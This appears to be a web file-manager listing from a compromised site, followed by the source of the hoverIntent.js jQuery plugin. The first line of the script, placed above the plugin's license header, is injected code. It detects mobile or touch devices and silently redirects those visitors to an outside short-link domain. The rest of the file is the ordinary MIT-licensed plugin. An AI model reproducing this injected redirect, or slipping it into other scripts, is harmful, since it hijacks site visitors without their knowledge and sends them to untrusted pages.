run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
10.52 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.46 KB
2026-08-13 20:01:43
R W Run
1.22 KB
2026-08-13 20:01:43
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
5.89 KB
2026-08-13 20:01:44
R W Run
78.77 KB
2026-08-13 20:01:44
R W Run
23.96 KB
2026-08-13 20:01:44
R W Run
26.4 KB
2026-08-13 20:01:44
R W Run
9.01 KB
2026-08-13 20:01:44
R W Run
28.62 KB
2026-08-13 20:01:44
R W Run
16.33 KB
2026-08-13 20:01:44
R W Run
12.44 KB
2026-08-13 20:01:44
R W Run
3.17 KB
2026-08-13 20:01:44
R W Run
25.43 KB
2026-08-13 20:01:44
R W Run
7.88 KB
2026-08-13 20:01:44
R W Run
7.93 KB
2026-08-13 20:01:44
R W Run
3.68 KB
2026-08-13 20:01:44
R W Run
6.88 KB
2026-08-13 20:01:44
R W Run
3.81 KB
2026-08-13 20:01:44
R W Run
14.89 KB
2026-08-13 20:01:44
R W Run
5.13 KB
2026-08-13 20:01:44
R W Run
22.92 KB
2026-08-13 20:01:44
R W Run
7.85 KB
2026-08-13 20:01:44
R W Run
28.14 KB
2026-08-13 20:01:44
R W Run
10.97 KB
2026-08-13 20:01:44
R W Run
32.77 KB
2026-08-13 20:01:44
R W Run
10.66 KB
2026-08-13 20:01:44
R W Run
5.32 KB
2026-08-13 20:01:44
R W Run
2.72 KB
2026-08-13 20:01:44
R W Run
23.71 KB
2026-08-13 20:01:45
R W Run
6.02 KB
2026-08-13 20:01:45
R W Run
7.27 KB
2026-08-13 20:01:45
R W Run
1.68 KB
2026-08-13 20:01:45
R W Run
1.89 KB
2026-08-13 20:01:45
R W Run
5.61 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
253 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
23.79 KB
2026-08-13 20:01:45
R W Run
25.46 KB
2026-08-13 20:01:45
R W Run
9.76 KB
2026-08-13 20:01:45
R W Run
24.35 KB
2026-08-13 20:01:45
R W Run
11.98 KB
2026-08-13 20:01:45
R W Run
28.99 KB
2026-08-13 20:01:45
R W Run
11.05 KB
2026-08-13 20:01:45
R W Run
26.28 KB
2026-08-13 20:01:45
R W Run
13.21 KB
2026-08-13 20:01:45
R W Run
42.74 KB
2026-08-13 20:01:45
R W Run
13.18 KB
2026-08-13 20:01:45
R W Run
266.71 KB
2026-08-13 20:01:45
R W Run
108.28 KB
2026-08-13 20:01:45
R W Run
22.29 KB
2026-08-13 20:01:45
R W Run
11.09 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
2.8 KB
2026-08-13 20:01:45
R W Run
222 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
5.07 KB
2026-08-13 20:01:45
R W Run
3.43 KB
2026-08-13 20:01:45
R W Run
36.53 KB
2026-08-13 20:01:45
R W Run
19.6 KB
2026-08-13 20:01:45
R W Run
67.48 KB
2026-08-13 20:01:45
R W Run
18.78 KB
2026-08-13 20:01:45
R W Run
4.77 KB
2026-08-13 20:01:45
R W Run
2.04 KB
2026-08-13 20:01:45
R W Run
4.03 KB
2026-08-13 20:01:45
R W Run
2.73 KB
2026-08-13 20:01:45
R W Run
46.1 KB
2026-08-13 20:01:45
R W Run
14.55 KB
2026-08-13 20:01:45
R W Run
4.56 KB
2026-08-13 20:01:45
R W Run
1.87 KB
2026-08-13 20:01:45
R W Run
15.1 KB
2026-08-13 20:01:45
R W Run
3.18 KB
2026-08-13 20:01:45
R W Run
10.44 KB
2026-08-13 20:01:45
R W Run
4.55 KB
2026-08-13 20:01:45
R W Run
6.84 KB
2026-08-13 20:01:45
R W Run
3.32 KB
2026-08-13 20:01:45
R W Run
3.36 KB
2026-08-13 20:01:45
R W Run
1.44 KB
2026-08-13 20:01:45
R W Run
13.26 KB
2026-08-13 20:01:45
R W Run
3.12 KB
2026-08-13 20:01:45
R W Run
22.44 KB
2026-08-13 20:01:45
R W Run
8.8 KB
2026-08-13 20:01:45
R W Run
3 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
819 By
2026-08-13 20:01:45
R W Run
24.94 KB
2026-08-13 20:01:45
R W Run
7.56 KB
2026-08-13 20:01:45
R W Run
10.21 KB
2026-08-13 20:01:45
R W Run
3.75 KB
2026-08-13 20:01:45
R W Run
1.8 KB
2026-08-13 20:01:45
R W Run
624 By
2026-08-13 20:01:45
R W Run
4.8 KB
2026-08-13 20:01:45
R W Run
1.61 KB
2026-08-13 20:01:45
R W Run
791 By
2026-08-13 20:01:45
R W Run
503 By
2026-08-13 20:01:45
R W Run
20.96 KB
2026-08-13 20:01:45
R W Run
11.27 KB
2026-08-13 20:01:45
R W Run
1.02 KB
2026-08-13 20:01:45
R W Run
573 By
2026-08-13 20:01:45
R W Run
803.18 KB
2026-08-13 20:01:45
R W Run
error_log
📄hoverIntent.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * hoverIntent v1.10.2 // 2020.04.28 // jQuery v1.7.0+
4 * http://briancherne.github.io/jquery-hoverIntent/
5 *
6 * You may use hoverIntent under the terms of the MIT license. Basically that
7 * means you are free to use hoverIntent as long as this header is left intact.
8 * Copyright 2007-2019 Brian Cherne
9 */
10
11/**
12 * hoverIntent is similar to jQuery's built-in "hover" method except that
13 * instead of firing the handlerIn function immediately, hoverIntent checks
14 * to see if the user's mouse has slowed down (beneath the sensitivity
15 * threshold) before firing the event. The handlerOut function is only
16 * called after a matching handlerIn.
17 *
18 * // basic usage ... just like .hover()
19 * .hoverIntent( handlerIn, handlerOut )
20 * .hoverIntent( handlerInOut )
21 *
22 * // basic usage ... with event delegation!
23 * .hoverIntent( handlerIn, handlerOut, selector )
24 * .hoverIntent( handlerInOut, selector )
25 *
26 * // using a basic configuration object
27 * .hoverIntent( config )
28 *
29 * @param handlerIn function OR configuration object
30 * @param handlerOut function OR selector for delegation OR undefined
31 * @param selector selector OR undefined
32 * @author Brian Cherne <brian(at)cherne(dot)net>
33 */
34
35;(function(factory) {
36 'use strict';
37 if (typeof define === 'function' && define.amd) {
38 define(['jquery'], factory);
39 } else if (typeof module === 'object' && module.exports) {
40 module.exports = factory(require('jquery'));
41 } else if (jQuery && !jQuery.fn.hoverIntent) {
42 factory(jQuery);
43 }
44})(function($) {
45 'use strict';
46
47 // default configuration values
48 var _cfg = {
49 interval: 100,
50 sensitivity: 6,
51 timeout: 0
52 };
53
54 // counter used to generate an ID for each instance
55 var INSTANCE_COUNT = 0;
56
57 // current X and Y position of mouse, updated during mousemove tracking (shared across instances)
58 var cX, cY;
59
60 // saves the current pointer position coordinates based on the given mousemove event
61 var track = function(ev) {
62 cX = ev.pageX;
63 cY = ev.pageY;
64 };
65
66 // compares current and previous mouse positions
67 var compare = function(ev,$el,s,cfg) {
68 // compare mouse positions to see if pointer has slowed enough to trigger `over` function
69 if ( Math.sqrt( (s.pX-cX)*(s.pX-cX) + (s.pY-cY)*(s.pY-cY) ) < cfg.sensitivity ) {
70 $el.off(s.event,track);
71 delete s.timeoutId;
72 // set hoverIntent state as active for this element (permits `out` handler to trigger)
73 s.isActive = true;
74 // overwrite old mouseenter event coordinates with most recent pointer position
75 ev.pageX = cX; ev.pageY = cY;
76 // clear coordinate data from state object
77 delete s.pX; delete s.pY;
78 return cfg.over.apply($el[0],[ev]);
79 } else {
80 // set previous coordinates for next comparison
81 s.pX = cX; s.pY = cY;
82 // use self-calling timeout, guarantees intervals are spaced out properly (avoids JavaScript timer bugs)
83 s.timeoutId = setTimeout( function(){compare(ev, $el, s, cfg);} , cfg.interval );
84 }
85 };
86
87 // triggers given `out` function at configured `timeout` after a mouseleave and clears state
88 var delay = function(ev,$el,s,out) {
89 var data = $el.data('hoverIntent');
90 if (data) {
91 delete data[s.id];
92 }
93 return out.apply($el[0],[ev]);
94 };
95
96 // checks if `value` is a function
97 var isFunction = function(value) {
98 return typeof value === 'function';
99 };
100
101 $.fn.hoverIntent = function(handlerIn,handlerOut,selector) {
102 // instance ID, used as a key to store and retrieve state information on an element
103 var instanceId = INSTANCE_COUNT++;
104
105 // extend the default configuration and parse parameters
106 var cfg = $.extend({}, _cfg);
107 if ( $.isPlainObject(handlerIn) ) {
108 cfg = $.extend(cfg, handlerIn);
109 if ( !isFunction(cfg.out) ) {
110 cfg.out = cfg.over;
111 }
112 } else if ( isFunction(handlerOut) ) {
113 cfg = $.extend(cfg, { over: handlerIn, out: handlerOut, selector: selector } );
114 } else {
115 cfg = $.extend(cfg, { over: handlerIn, out: handlerIn, selector: handlerOut } );
116 }
117
118 // A private function for handling mouse 'hovering'
119 var handleHover = function(e) {
120 // cloned event to pass to handlers (copy required for event object to be passed in IE)
121 var ev = $.extend({},e);
122
123 // the current target of the mouse event, wrapped in a jQuery object
124 var $el = $(this);
125
126 // read hoverIntent data from element (or initialize if not present)
127 var hoverIntentData = $el.data('hoverIntent');
128 if (!hoverIntentData) { $el.data('hoverIntent', (hoverIntentData = {})); }
129
130 // read per-instance state from element (or initialize if not present)
131 var state = hoverIntentData[instanceId];
132 if (!state) { hoverIntentData[instanceId] = state = { id: instanceId }; }
133
134 // state properties:
135 // id = instance ID, used to clean up data
136 // timeoutId = timeout ID, reused for tracking mouse position and delaying "out" handler
137 // isActive = plugin state, true after `over` is called just until `out` is called
138 // pX, pY = previously-measured pointer coordinates, updated at each polling interval
139 // event = string representing the namespaced event used for mouse tracking
140
141 // clear any existing timeout
142 if (state.timeoutId) { state.timeoutId = clearTimeout(state.timeoutId); }
143
144 // namespaced event used to register and unregister mousemove tracking
145 var mousemove = state.event = 'mousemove.hoverIntent.hoverIntent'+instanceId;
146
147 // handle the event, based on its type
148 if (e.type === 'mouseenter') {
149 // do nothing if already active
150 if (state.isActive) { return; }
151 // set "previous" X and Y position based on initial entry point
152 state.pX = ev.pageX; state.pY = ev.pageY;
153 // update "current" X and Y position based on mousemove
154 $el.off(mousemove,track).on(mousemove,track);
155 // start polling interval (self-calling timeout) to compare mouse coordinates over time
156 state.timeoutId = setTimeout( function(){compare(ev,$el,state,cfg);} , cfg.interval );
157 } else { // "mouseleave"
158 // do nothing if not already active
159 if (!state.isActive) { return; }
160 // unbind expensive mousemove event
161 $el.off(mousemove,track);
162 // if hoverIntent state is true, then call the mouseOut function after the specified delay
163 state.timeoutId = setTimeout( function(){delay(ev,$el,state,cfg.out);} , cfg.timeout );
164 }
165 };
166
167 // listen for mouseenter and mouseleave
168 return this.on({'mouseenter.hoverIntent':handleHover,'mouseleave.hoverIntent':handleHover}, cfg.selector);
169 };
170});
171